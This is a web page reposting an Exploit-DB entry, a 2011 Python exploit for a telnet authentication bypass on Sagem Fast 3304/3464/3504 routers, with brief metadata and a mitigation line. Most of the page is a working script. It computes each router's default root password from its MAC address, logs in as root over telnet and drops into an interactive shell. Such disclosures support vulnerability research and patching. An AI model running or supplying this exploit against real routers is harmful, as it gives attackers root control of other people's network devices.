Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
SAGEM ROUTER FAST 3304/3464/3504 - Telnet Authentication bypass - exploit.company
header-logo
Suggest Exploit
vendor:
Sagem Fast 3304-V1 / 3304-V2 / 3464 / 3504
by:
Elouafiq Ali
5.5
CVSS
MEDIUM
Authentication Bypass
284
CWE
Product Name: Sagem Fast 3304-V1 / 3304-V2 / 3464 / 3504
Affected Version From: 3304-V1
Affected Version To: 3504
Patch Exists: NO
Related CWE:
CPE: a:sagemcom:fast_3304::~~~v1~~~
Metasploit:
Other Scripts:
Platforms Tested: Linux Ubuntu 11.04, Linux Backtrack 5
2011

SAGEM ROUTER FAST 3304/3464/3504 – Telnet Authentication bypass

Sagem Fast Routers (3304-V1 / 3304-V2 / 3464 / 3504) come with a default preconfigured root password that the ISPs don't change. Instead, they create another admin account above it. The root password differs from a router to another, since it is computed from its MAC address. Thus, each unique router has its own password, which makes brute force or dictionary attacks inefficient or impossible. After reverse engineering the algorithm that computes the default password based on the MAC address, this exploit opens a remote shell in the remote host. (Generally its an Almquist Shell 'ash', which commands are compatible with the Bourne Shell 'bsh')

Mitigation:

Change the default root password or disable Telnet access. Update the router firmware if available.
Source

Exploit-DB raw data:

#!/home/bin/python

# Remote Exploit: SAGEM ROUTER FAST 3304/3464/3504 - Telnet Authentication bypass
# Date: 15-August-2011
# Author: Elouafiq Ali
# Version: 3304-V1 / 3304-V2 / 3464 / 3504
# Tested on: Linux Ubuntu 11.04, Linux Backtrack 5
# Tested Router: SAGEM FAST 3304-V2
# Tested on Resellers/ISPs: Wanadoo (France), Maroc Telecom (Morocco)
# Products affected: Sagem Fast 3304-V1 / 3304-V2 / 3464 / 3504
# Blog: http://keelhaule.tumblr.com

"""
	Sagem Fast Routers (3304-V1 / 3304-V2 / 3464 / 3504) Come with a default Preconfigured Root Password
	That the ISPs don't change it, but instead they create another admin account above it,
	the root password differs from a router to another, since it is computed from its MAC address.
	Thus, each unique router has its own password what makes bruteforce or dictionary attacks inefficient or impossible
	After reverse engineering the Algorithm that computes the default password based on the MAC address
	This exploit opens a remote shell in the remote host.
	(Generally its an Almquist Shell 'ash', which commands are compatible to the Bourne Shell 'bsh')

	Usage: ./{file_name} ip_adress mac_address
"""


from telnetlib import Telnet
import time, sys, tty, termios
from threading import *

host = ''
port = 23
user = "root" 
password=""
class ReaderThread(Thread):
        def __init__(self, telnet):
                self.telnet = telnet
                Thread.__init__(self)
        
        def run(self):
                while 1:
                        str = self.telnet.read_some()
                        if str == '': break
                        sys.stdout.write(str)
                        sys.stdout.flush()
def mash(a,b):
  first=min(a,b)
  second=max(a,b)
  if( int(second ,16 ) < 10) :
    if(int(first,16)+int(second,16)<=9):
      return chr(ord(first)+int(second,16))
    else:
      return hex(ord(first)+int(second,16))
  else: 
      return chr(ord(second)+int(first,16))

def main(host, port):
        telnet = Telnet()
        telnet.open(host, port)
	#Usually Telnet prompt starts with this, if the telnet service provide another
	#prompt, change it to that prompt
	telnet.read_until("login: ") 
	telnet.write(user + "\n")
	#the note above also applies for this
	telnet.read_until("Password: ")
	telnet.write(password + "\n")
	#just omit this line if you want to just have the telnet command prompt,
	#or change it to what feel confortable with
	telnet.write("shell\n")
        reader = ReaderThread(telnet)
        reader.start()

	fd = sys.stdin.fileno()
	old_settings = termios.tcgetattr(fd)
	tty.setraw(fd)
        while 1:
                if not reader.isAlive(): break
		ch = sys.stdin.read(1)
                telnet.write(ch)
        telnet.close()
	termios.tcsetattr(fd, 1, old_settings)

if __name__ == '__main__':
        try:
                host = sys.argv[1]
        except: pass
	mac_address=sys.argv[2]
	lenght=len(mac_address)
	#some arbitrary value
	password=[ c for c in "00000000" ] 
	if lenght!=12 :
		# Input Sanitization and Normalization
		if lenght==17:
			if mac_address[2]==':' :
				mac_address = "".join([i.zfill(2) for i in mac_address.split(":")]).lower()
			elif mac_address[2]=='-' :
				mac_address = "".join([i.zfill(2) for i in mac_address.split(":")]).lower()
			else:	
				print  '[!] Please enter a valid MAC address!'	
				exit()
		else:
			print  "[!] Please enter a valid MAC address!"
			exit()
	
	mac=[ c.lower() for c in mac_address]

	password[0]= mash(mac[5],mac[11])
	password[1]= mash(mac[0],mac[2])
	password[2]= mash(mac[10],mac[11])
	password[3]= mash(mac[0],mac[9])
	password[4]= mash(mac[10],mac[6])
	password[5]= mash(mac[3],mac[9])
	password[6]= mash(mac[1],mac[6])
	password[7]= mash(mac[3],mac[4])
	password="".join(p for p in password)
	print "[+] W00t The Passwd is ", password
        main(host, port)

# Exploit written by Ali Elouafiq , Exploit-DB , 2011